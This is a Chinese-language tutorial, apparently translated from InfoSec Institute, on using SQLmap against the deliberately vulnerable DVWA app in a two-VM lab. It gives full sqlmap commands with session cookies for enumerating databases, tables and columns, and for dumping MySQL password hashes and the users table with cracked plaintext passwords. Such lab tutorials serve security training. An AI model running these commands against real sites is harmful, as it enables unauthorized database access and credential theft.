程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 數據庫知識 >> SqlServer數據庫 >> 關於SqlServer >> SQL注入之SQLmap入門

SQL注入之SQLmap入門

編輯:關於SqlServer

       什麼是SQLmap?

      SQLmap是一款用來檢測與利用SQL注入漏洞的免費開源工具,有一個非常棒的特性,即對檢測與利用的自動化處理(數據庫指紋、訪問底層文件系統、執行命令)。

      讀者可以通過位於SourceForge的官方網站下載SQLmap源碼:http://sourceforge.net/projects/sqlmap/

      SQLmap的作者是誰?

      Bernardo DameleAssumpcao Guimaraes (@inquisb),讀者可以通過[email protected]與他取得聯系,以及Miroslav Stampar (@stamparm)讀者可以通過[email protected]與他聯系。

      同時讀者也可以通過[email protected]與SQLmap的所有開發者聯系。

      執行SQLmap的命令是什麼?

      進入sqlmap.py所在的目錄,執行以下命令:

      #python sqlmap.py -h

      (譯注:選項列表太長了,而且與最新版本有些差異,所以這裡不再列出,請讀者下載最新版在自己機器上看吧)

      SQLmap命令選項被歸類為目標(Target)選項、請求(Request)選項、優化、注入、檢測、技巧(Techniques)、指紋、枚舉等。

      如何使用SQLmap:

      為方便演示,我們創建兩個虛擬機:

      1、受害者機器, windows XP操作系統,運行一個web服務器,同時跑著一個包含漏洞的web應用(DVWA)。

      2、攻擊器機器,使用Ubuntu 12.04,包含SQLmap程序。

      本次實驗的目的:使用SQLmap得到以下信息:

      3、枚舉MYSQL用戶名與密碼。

      4、枚舉所有數據庫。

      5、枚舉指定數據庫的數據表。

      6、枚舉指定數據表中的所有用戶名與密碼。

      使用SQLmap之前我們得到需要當前會話cookies等信息,用來在滲透過程中維持連接狀態,這裡使用Firefox中名為“TamperData”的add-on獲取。

    SQL注入之SQLmap入門 三聯

      當前得到的cookie為“security=high;PHPSESSID=57p5g7f32b3ffv8l45qppudqn3″。

      為方便演示,我們將DVWA安全等級設置為low:

      接下來我們進入頁面的“SQL Injection”部分,輸入任意值並提交。可以看到get請求的ID參數如下:

      “http://10.10.10.2/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#”

      因此該頁面就是我們的目標頁面。

      以下命令可以用來檢索當前數據庫和當前用戶:

      “./sqlmap.py -u“http://10.10.10.2/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit” –cookie=”PHPSESSID=57p5g7f32b3ffv8l45qppudqn3;security=low” -b –current-db –current-user”

      使用選項:

      1、–cookie : 設置我們的cookie值“將DVWA安全等級從high設置為low”

      2、-u : 指定目標URL

      3、-b : 獲取DBMS banner

      4、–current-db : 獲取當前數據庫

      5、–current-user:獲取當前用戶

      結果如下:

      可以看到結果如下:

      DBMS : MySQLversion 5.0

      OS versionUbuntu 12.04

      current user:root

      current db :DVWA

      以下命令用來枚舉所有的DBMS用戶和密碼hash,在以後更進一步的攻擊中可以對密碼hash進行破解:

      “sqlmap.py -u“http://10.10.10.2/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit” --cookie=”PHPSESSID=57p5g7f32b3ffv8l45qppudqn3;security=low” --string=”Surname” --users --password”

      使用選項:

      1、–string : 當查詢可用時用來匹配頁面中的字符串

      2、–users : 枚舉DBMS用戶

      3、–password : 枚舉DBMS用戶密碼hash

      結果如下:

      [*] ”@’kingasmk’

      [*]”@’localhost’

      [*]‘debian-sys-maint’@'localhost’

      [*]‘phpmyadmin’@'localhost’

      [*]‘root’@’127.0.0.1′

      [*] ‘root’@'::1′

      [*]‘root’@'kingasmk’

      [*]‘root’@'localhost’

      數據庫管理系統用戶和密碼hash:

      password hash:*C30441E06530498BC86019BF3211B94B3BAB295A

      [*] phpmyadmin[1]:

      password hash:*C30441E06530498BC86019BF3211B94B3BAB295A

      [*] root [4]:

      password hash: *C30441E06530498BC86019BF3211B94B3BAB295A

      password hash:*C30441E06530498BC86019BF3211B94B3BAB295A

      password hash:*C30441E06530498BC86019BF3211B94B3BAB295A

      password hash:*C30441E06530498BC86019BF3211B94B3BAB295A

      讀者可以使用Cain&Abel、John&Ripper等工具將密碼hash破解為明文。以下命令會枚舉系統中所有的數據庫schema:

      “sqlmap.py -u“http://10.10.10.2/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit”

      --cookie=”PHPSESSID=57p5g7f32b3ffv8l45qppudqn3;security=low” --dbs”

      使用選項:

      –dbs: 枚舉DBMS中的數據庫

      結果如下:

      [*]dvwa

      [*]information_schema

      [*]mysql

      [*]performance_schema

      [*]phpmyadmin

      下面我們嘗試枚舉DVWA數據表,執行以下命令:

      “sqlmap.py-u “http://10.10.10.2/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit” --cookie=”PHPSESSID=57p5g7f32b3ffv8l45qppudqn3;security=low” -D dvwa --tables”

      使用選項:

      1、-D : 要枚舉的DBMS數據庫

      2、–tables : 枚舉DBMS數據庫中的數據表

      得到結果如下:

      Database: dvwa

      [2 tables]

      +————+

      | guestbook |

      | users |

      +————+

      下面獲取用戶表的列,命令如下:

      “sqlmap.py -u“http://10.10.10.2/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit” --cookie=”PHPSESSID=57p5g7f32b3ffv8l45qppudqn3;security=low” -D dvwa -T users --columns”

      使用選項:

      -T : 要枚舉的DBMS數據庫表

      –columns : 枚舉DBMS數據庫表中的所有列

      結果如下:

      Database: dvwa

      Table: users

      [6 columns]

      +————+————-+

      | Column | Type|

      +————+————-+

      | avatar |varchar(70) |

      | first_name |varchar(15) |

      | last_name |varchar(15) |

      | password |varchar(32) |

      | user |varchar(15) |

      | user_id |int(6) |

      +————+————-+

      如上所示,以上為我們感興趣的列,表示用戶名與密碼等。下面將每一列的內容提取出來。執行以下命令,將用戶與密碼表中的所有用戶名與密碼dump出來:

      “sqlmap.py -u“http://10.10.10.2/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit”–cookie=”PHPSESSID=57p5g7f32b3ffv8l45qppudqn3; security=low” -D dvwa -T users-C user,password --dump”

      使用選項:

      -T : 要枚舉的DBMS數據表

      -C: 要枚舉的DBMS數據表中的列

      –dump : 轉儲DBMS數據表項

      SQLmap會提問是否破解密碼,按回車確認:

      得到所有用戶名與明文密碼如下:

      Table: users

      [5 entries]

      +———+———+———————————————+

      | user_id | user| password |

      +———+———+———————————————+

      | 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99(password) |

      | 2 | gordonb |e99a18c428cb38d5f260853678922e03 (abc123) |

      | 3 | 1337 |8d3533d75ae2c3966d7e0d4fcc69216b (charley) |

      | 4 | pablo |0d107d09f5bbe40cade3de5c71e9e9b7 (letmein) |

      | 5 | smithy |5f4dcc3b5aa765d61d8327deb882cf99 (password) |

      +———+———+———————————————+

      這時我們就可以利用admin帳戶登錄做任何事了。

      總結:

      SQLmap是一個非常強大的工具,可以用來簡化操作,並自動處理SQL注入檢測與利用。

      [via infosecinstitute]

            :更多精彩教程請關注三聯教程頻道

    1. 上一頁:
    2. 下一頁:
    Copyright © 程式師世界 All Rights Reserved